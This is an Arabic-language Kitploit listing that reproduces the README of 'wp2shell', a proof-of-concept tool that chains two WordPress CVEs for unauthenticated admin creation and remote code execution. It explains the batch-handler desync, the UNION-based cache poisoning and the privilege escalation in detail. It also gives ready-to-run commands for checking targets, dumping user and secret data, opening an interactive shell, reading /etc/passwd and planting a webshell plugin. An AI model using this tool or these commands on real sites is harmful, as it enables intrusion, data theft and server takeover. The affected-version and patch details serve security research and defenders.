Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
wp2shell — PoC لـ CVE-2026-63030 + CVE-2026-60137، المعروف أيضًا باسم WP2Shell | Kitploit
أدوات/GitHubGitHub/crypto-cat/wp2shell
ماسحات الثغرات الأمنيةتحليل الكودالاستغلالأمن الويبالتعلم والتعليم
GitHubcrypto-cat/wp2shell

wp2shell

PoC لـ CVE-2026-63030 + CVE-2026-60137، المعروف أيضًا باسم WP2Shell

عرض المستودع
3منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

wp2shell

تنفيذ تعليمات برمجية عن بُعد قبل المصادقة لووردبريس 6.9.0–6.9.4 و7.0.0–7.0.1.

يربط CVE-2026-63030 (التباس مسار الدُفعات SQLi) مع CVE-2026-60137 (إعادة دخول تغييرات المُخصِّص customizer) لتحقيق إنشاء مدير دون مصادقة وتنفيذ أوامر نظام التشغيل. لا حاجة لتكسير كلمات المرور.

wp2shell demo

شكرًا لـ hashkitten على الاكتشاف، واقرأ التحليل الفني الكامل من SLCyber هنا.

الثغرة

معالج الدُفعات في REST API الخاص بووردبريس (serve_batch_request_v1) يحتوي على خطأ فهرسة إزاحة-بواحد (off-by-one): عندما يفشل wp_parse_url() في مسار طلب فرعي، يتم دفع WP_Error الناتج إلى $validation[] ولكن ليس إلى $matches[]. يؤدي هذا إلى فقدان تزامن المصفوفتين — يتم توجيه كل طلب لاحق عبر المُعالِج الخاطئ.

من خلال تداخل دفعة منظمة بعناية داخل دفعة أخرى، يمكن للمهاجم:

  1. توجيه طلب تم التحقق من صحته عبر مخطط نقطة نهاية إلى رد نداء (callback) لنقطة نهاية مختلفة تمامًا
  2. حقن SQL غير مُنقّى عبر author__not_in (تحويل السلسلة→مصفوفة يتجاوز absint())
  3. استخدام UNION SELECT لتسميم ذاكرة التخزين المؤقت للكائنات في ووردبريس بكائنات مشاركات مزيفة
  4. تشغيل نشر تلقائي للتغييرات (changeset) يرفع الامتيازات، ثم إعادة دخول REST API بسياق مدير

بمجرد اكتمال الإعداد (اكتشاف بادئة الجدول ومعرّف المدير)، يتم إطلاق حمولة التصعيد في طلب HTTP واحد — تسميم ذاكرة التخزين المؤقت، رفع الامتيازات، وإنشاء المستخدم كلها تحدث من جانب الخادم في رحلة ذهاب وإياب واحدة.

كيف تعمل السلسلة

root@kitploit:~
HTTP POST /batch/v1
    │
    ▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                  → parse error, not added to $matches      │
│  [1] POST /wp/v2/posts    → $matches[0] (posts handler)             │
│  [2] POST /batch/v1       → $matches[1] (batch handler)             │
│                                                                     │
│  Desync: request[1] dispatched via $matches[1]                      │
│          POST /wp/v2/posts body interpreted as batch → inner fires  │
│                                                                     │
└──────────────────────────────────────┬──────────────────────────────┘
                                       │
    ┌──────────────────────────────────┘
    ▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                            → parse error (desync)          │
│  [1] GET  /wp/v2/widgets?UNION...   → dispatched by posts handler   │
│          ▲ WP_Query fires UNION, poisons object cache               │
│          ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1  │
│              → changeset published → admin context set              │
│              → nav_menu_item UPDATE → hierarchy Loop 2              │
│                  → parse_request → REST re-entry ─────────────┐     │
│                                                               │     │
│  [2] GET  /wp/v2/posts              (categories handler)      │     │
│  [3] GET  /wp/v2/categories         (users handler)           │     │
│  [4] POST /wp/v2/users  {body}  ◄── re-entry with admin ──────┘     │
│          ▲ desync aligns this with users handler                    │
│          ▲ admin context → user created → die()                     │
│  [5] POST /wp/v2/users  {}          (desync spacer)                 │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

تسميم ذاكرة التخزين المؤقت (7 مشاركات مزيفة عبر UNION):

  • مشاركة مُشغِّلة تحتوي على shortcode [embed] في محتواها
  • مشاركة تغييرات (customize_changeset، الحالة future، تاريخ في الماضي)
  • شريك الحلقة الخارجية (parent=changeset، ينشئ Loop 1)
  • هدف oEmbed (معرّف ديناميكي مضاد للتكرار، parent=changeset، محتوى فارغ)
  • مشاركة عنصر قائمة تنقل (مُسمَّمة كـ post_type=nav_menu_item لفحص is_nav_menu_item)
  • مشاركة إعادة الدخول (post_type=request، post_status=parse، parent=inner)
  • شريك الحلقة الداخلية (parent=re-entry، ينشئ Loop 2)

تدفق التنفيذ:

  1. يعمل UNION على تسميم ذاكرة التخزين المؤقت للكائنات بجميع المشاركات المزيفة السبع
  2. يعرض معالج المشاركات محتوى المشاركة المُشغِّلة → يتم تشغيل shortcode [embed]
  3. يبحث oEmbed في ذاكرة التخزين المؤقت ويجد مشاركة داعمة بمحتوى فارغ → يمر إلى wp_update_post
  4. يقرأ wp_update_post التغييرات المخزنة مؤقتًا (parent=outer) → يكتشف فحص التسلسل الهرمي Loop 1
  5. يكتب الإصلاح التغييرات إلى قاعدة البيانات بالحالة future → يتحول تلقائيًا إلى publish
  6. يتم تشغيل _wp_customize_publish_changeset → wp_set_current_user(admin_id) → سياق المدير نشط
  7. يعالج التغيير nav_menu_item[real_id] — تقول ذاكرة التخزين المؤقت type=nav_menu_item → مسار UPDATE
  8. يتم تحليل object_id إلى مشاركة مخزنة مؤقتًا بـ post_parent=re-entry → wp_update_post على المشاركة الحقيقية
  9. يكتشف فحص التسلسل الهرمي ($post_id غير صفري) Loop 2 (re-entry ↔ inner)

متغير جلسة MySQL مضاد للتكرار (@_wp2s) يضمن تشغيل السلسلة مرة واحدة بالضبط دون تكرار.

الميزات

  • ثلاثة أوضاع استخراج مع اكتشاف تلقائي: UNION (طلب واحد/قيمة)، قائم على الأخطاء عبر EXTRACTVALUE (~30 حرفًا/طلب)، بحث ثنائي أعمى منطقي (~7 طلبات/حرف)
  • RCE كامل قبل المصادقة — بدون بيانات اعتماد، بدون تكسير، التصعيد يحدث في رحلة ذهاب وإياب واحدة
  • اكتشاف تلقائي — بادئة الجدول عبر INFORMATION_SCHEMA، معرّف مستخدم المدير عبر بيانات القدرات
  • ما بعد الاستغلال — قشرة ويب كإضافة (plugin) مع مصادقة رمزية، قشرة تفاعلية تتعقب دليل العمل الحالي (CWD)، قراءة/كتابة الملفات
  • وضع التنظيف — --cleanup يحذف المستخدم المُنشأ ويزيل قشرة الويب عند الخروج
  • صفر تبعيات — مكتبة قياسية فقط، ملف واحد، يعمل على Python 3.8+

التثبيت

root@kitploit:~
git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

لا pip install، ولا virtualenv. إنه ملف واحد.

الاستخدام

التحقق مما إذا كان الهدف معرضًا للخطر

root@kitploit:~
# Passive boolean oracle test
python3 wp2shell.py check http://target.com

# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union

استخراج البيانات

root@kitploit:~
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"

# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users

# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users

الاستغلال الكامل

root@kitploit:~
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i

# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup

# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i

# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i

قشرة موثَّقة (باستخدام بيانات اعتماد موجودة)

root@kitploit:~
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i

متطلبات RCE الكامل

يعمل أمرا check وread على أي هدف متأثر. تتطلب سلسلة exploit ثلاثة متطلبات إضافية:

إذا كان الهدف يستخدم Redis أو Memcached كذاكرة تخزين مؤقت للكائنات، يتم فرض تفعيل split_the_query بغض النظر عن per_page، ويتم تجاهل صفوف UNION أثناء جلب المعرفات فقط. لا يزال أمر read يعمل (الاستخراج الأعمى لا يحتاج بقاء UNION في ذاكرة التخزين المؤقت)، لكن exploit سيفشل.

الإصدارات المتأثرة

الفرعمعرّض للخطرتم الإصلاح
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2

يضيف التصحيح $matches[] = $single_request; لحالات الخطأ (إصلاح خطأ off-by-one) وحارسًا لإعادة الدخول في serve_request().

البنية

root@kitploit:~
wp2shell.py (single file, ~1650 lines)
├── Client          HTTP transport with batch URL negotiation
├── Desync          Nested batch payload construction
├── BlindExtractor  Boolean binary search (universal)
├── UnionExtractor  In-band via forged post_title (fastest)
├── ErrorExtractor  EXTRACTVALUE-based (intermediate)
├── PoisonGraph     Hierarchy loop structure for cache poisoning
├── Exploiter       Chain orchestration (seed → extract → escalate)
└── AdminSession    Authenticated session, webshell, cleanup

التفاصيل التقنية

لماذا /wp/v2/widgets كمسار المصدر؟

لا يسجل مُتحكِّم الأدوات (Widgets) معاملات per_page أو orderby أو author_exclude في مخطط نقطة النهاية الخاصة به. تمر هذه المعاملات عبر التحقق دون تغيير (تتجاهل أداة التحقق من المخطط المعاملات غير المعروفة). عندما يوجّه عدم التزامن هذا الطلب عبر مُتحكِّم المشاركات (Posts)، تتدفق تلك القيم الخام مباشرة إلى WP_Query.

لماذا per_page=500؟

class-wp-query.php:3375 — يتطلب split_the_query !empty($limits) && posts_per_page < 500. مع per_page=500، يكون الشرط 500 < 500 خاطئًا، لذلك يتم تعطيل split_the_query. يتم تنفيذ الاستعلام الكامل (بما في ذلك UNION) كعبارة واحدة، وتبقى جميع الصفوف المحقونة في مجموعة النتائج وذاكرة التخزين المؤقت.

لماذا nav_menu_item[real_id] (معرّف موجب)؟

استخدام معرّف مشاركة موجب يدخل مسار UPDATE في nav-menu.php:614، الذي يستدعي wp_update_post مع $post_id غير صفري. هذا أمر بالغ الأهمية لأن wp_check_post_hierarchy_for_loops في post.php:8070 يعود مبكرًا عندما يكون $post_id = 0 (مشاركات جديدة). يتم تسميم ذاكرة التخزين المؤقت بقيمة post_type=nav_menu_item لذلك المعرّف بحيث يجتاز is_nav_menu_item() فحص النوع في nav-menu.php:426. ثم يُشغّل مسار UPDATE فحص التسلسل الهرمي الذي يكتشف Loop 2.

لماذا حلقتان للتسلسل الهرمي؟

تُشغّل الحلقة 1 (changeset ↔ outer) نشر التغييرات وتضبط سياق المدير. وتنطلق الحلقة 2 (re-entry ↔ inner) خلال نافذة المدير (داخل استدعاء save() لإعداد عنصر قائمة التنقل في حلقة نشر التغييرات) وتُشغّل parse_request → إعادة دخول REST. الحلقتان مستقلتان لأن إصلاح الحلقة 2 يجب أن يكتب مشاركة إعادة الدخول إلى قاعدة البيانات خلال نافذة المدير عند السطر 3581 — قبل إعادة التعيين عند السطر 3589.

إخلاء مسؤولية

تُنشر هذه الأداة لأغراض اختبار الأمان والبحث المصرّح بها. استخدمها فقط ضد الأنظمة التي تملكها أو لديك تفويض كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.

الاعتمادات

البحث والتطوير بواسطة CryptoCat.

تنزيل الأداة
  • يستدعي الإصلاح wp_update_post(re-entry) → يكتب type=request وstatus=parse إلى قاعدة البيانات
  • يشغّل wp_transition_post_status الدالة do_action("parse_request") → rest_api_loaded() → serve_request()
  • يعيد REST API الدخول ويعيد معالجة الدفعة بأكملها بامتيازات المدير
  • ينجح POST /wp/v2/users في النهاية → يتم إنشاء المدير → die()
  • المتطلبالسببووردبريس الافتراضي؟
    مشاركة منشورة واحدة على الأقليحتاج oEmbed إلى عنوان URL محلي لتشغيل معالجة التضميننعم (Hello World)
    لا توجد ذاكرة تخزين مؤقت دائمة للكائناتيجب تعطيل Split-the-query لتبقى صفوف UNION موجودةنعم (افتراضيًا ذاكرة ملفات)
    REST API قابل للوصولإعادة الدخول عبر parse_request تحتاج إلى خادم RESTنعم
    كتابة مباشرة على نظام الملفاترفع الإضافة يحتاج FS_METHOD=direct أو امتلاك PHP لمجلد wp-contentنعم (معظم الاستضافات)